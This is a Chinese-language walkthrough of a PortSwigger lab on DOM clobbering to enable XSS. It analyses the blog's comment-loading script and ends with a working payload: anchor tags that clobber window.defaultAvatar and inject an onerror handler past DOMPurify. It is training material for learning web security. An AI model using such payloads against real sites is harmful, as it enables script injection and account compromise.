文章目录
- Lab: Exploiting DOM clobbering to enable XSS
Lab: Exploiting DOM clobbering to enable XSS
这是一道dom破坏题。
首先进入,发现都是一个个博客。
随便点击看看。
发现是一篇文章之后是一些评论以及咱们也可以发布评论。这里的Email使用了html的正则表达。
先随便使用反射型xss进行注入尝试。
提交评论,看有什么变化。
查看其元素。发现将其后面的危险代码删除了。
查看其源码
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labsBlog.css rel=stylesheet>
<title>Exploiting DOM clobbering to enable XSS</title>
</head>
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>Exploiting DOM clobbering to enable XSS</h2>
<a class=link-back href='https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="blog">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<div class="blog-post">
<img src="/image/blog/posts/68.jpg">
<h1>Wedding Bells</h1>
<p><span id=blog-author>Roger That</span> | 20 July 2024</p>
<hr>
<p>There's a new craze that is crazier than the craziest crazes so far - in my opinion. This is the one where a couple fall in love, get engaged, then invite their family and friends to pay for the wedding. What could possibly go wrong?</p>
<p>Pretty much everything can go wrong. To start with the assumption is that the guests would have stumped up a reasonable amount of money on a gift in the first place. The theory, replace that gift with money. Money paid in advance of the reception so that it can be booked and paid for ready for the big day.</p>
<p>I'm guessing the only person happy about this set up would be the Father of the bride who has always been expected to dig deep to send off his one and only beloved daughter. Fast forward to social media groups.</p>
<p>'My best friend is getting married and wants us to contribute to the cost of the wedding. I think this is really rude, what do y'all think?'</p>
<p>Here follows 500 opinions until admin finally turns off comments. The general consensus is less than romantic, as strangers suggest the relationship might break down, and then you're out of pocket having already contributed to the non-refundable sandwiches and sparkle.</p>
<p>Should this plan actually make it to the table, can you imagine the chaos at the buffet as everyone rushes forward to get their money's worth? Aunt Val insists on taking the table decorations home with her, and Uncle Ross fills his pockets with the complimentary mints at the front desk. If you let people pay for stuff, they then have the right to complain. About everything. And complain they will.</p>
<p>Normally civilized people will become feral as they expect their $50 contribution to provide them with something a little fancier than a single serving of doughnuts, instead of a nice slab of wedding cake. Blame Cousin Eve, she only paid in $5, something had to give. Soon the whispering will begin, 'how much did you put in?' Followed by, 'I heard Val only donated $5, she should not be allowed to have anything to eat.' Resentment will grow. Relatives will fall out and probably never speak to each other again, until the next family gathering at least.</p>
<p>If you want the wedding of your dreams, save up like the rest of us and pay for it yourself.</p>
<div/>
<hr>
<h1>Comments</h1>
<span id='user-comments'>
<script src='/resources/js/domPurify-2.0.15.js'></script>
<script src='/resources/js/loadCommentsWithDomClobbering.js'></script>
<script>loadComments('/post/comment')</script>
</span>
<hr>
<section class="add-comment">
<h2>Leave a comment</h2>
<form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
<input required type="hidden" name="csrf" value="fMgHhBhOhLDapt7kD6EhSJ4tSTRnMM8S">
<input required type="hidden" name="postId" value="10">
<label>Comment:</label>
<div>HTML is allowed</div>
<textarea required rows="12" cols="300" name="comment"></textarea>
<label>Name:</label>
<input required type="text" name="name">
<label>Email:</label>
<input required type="email" name="email">
<label>Website:</label>
<input pattern="(http:|https:).+" type="text" name="website">
<button class="button" type="submit">Post Comment</button>
</form>
</section>
<div class="is-linkback">
<a href="/">Back to Blog</a>
</div>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>
也发现了其被最强过滤方法(domPurify)过滤掉了,那么基本不用考虑绕过这个方法了
漏洞基本都是出自于js代码中,那我们就查看js。第63行的js代码。
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
观察发现,基本可以分为三个方法:escapeHTML(过滤)、displayComments(展示)、loadComments(载入)。
观察escapeHTML过滤代码发现,将<、>、"、'全部过滤为实体编码,也就是说不可能进入标签开始状态了。
再分析展示部分,循环comments,然后会增加一个p标签,然后创建一个img标签,然后再创建一个div标签,将头像标签放入。
然后判断有没有author、website,如果有,依次将相应信息添加到firstPElement中,也就是p标签中。然后再向下就是使用了一个过滤框架和将一些时间等信息放入p标签。
出现问题的地方就是在头像的地方,分析代码
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
发现,当window.defaultAvatar有值时头像就是传入的,如果没值,那就是默认那个头像。传入头像时,首先也是会经过过滤函数。
那么我们能不能创建window.defaultAvatar呢?
那就来考虑dom破坏,创建window.defaultAvatar.avatar。
看到下面的src是使用双引号进行过滤的,那我们就得使用双引号进行过滤,然后再写咱们的恶意代码。
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
这里的1后面的双引号为什么要用html实体编码呢?原因是为了闭合源代码中的双引号,如果使用"这个符号,那么会闭合href的双引号,会报错,所以这里的双引号用了html实体编码。
提交进行测试。
并没有什么反应,难道是咱们的思路出错了吗?此时这才第一步,dom破坏。接下来再随便发一个评论。成功弹窗
本来我对构建的a标签有点疑惑为什么最后要加个//,当我看到提交后的元素后,我知道了是为了注释掉多余的"。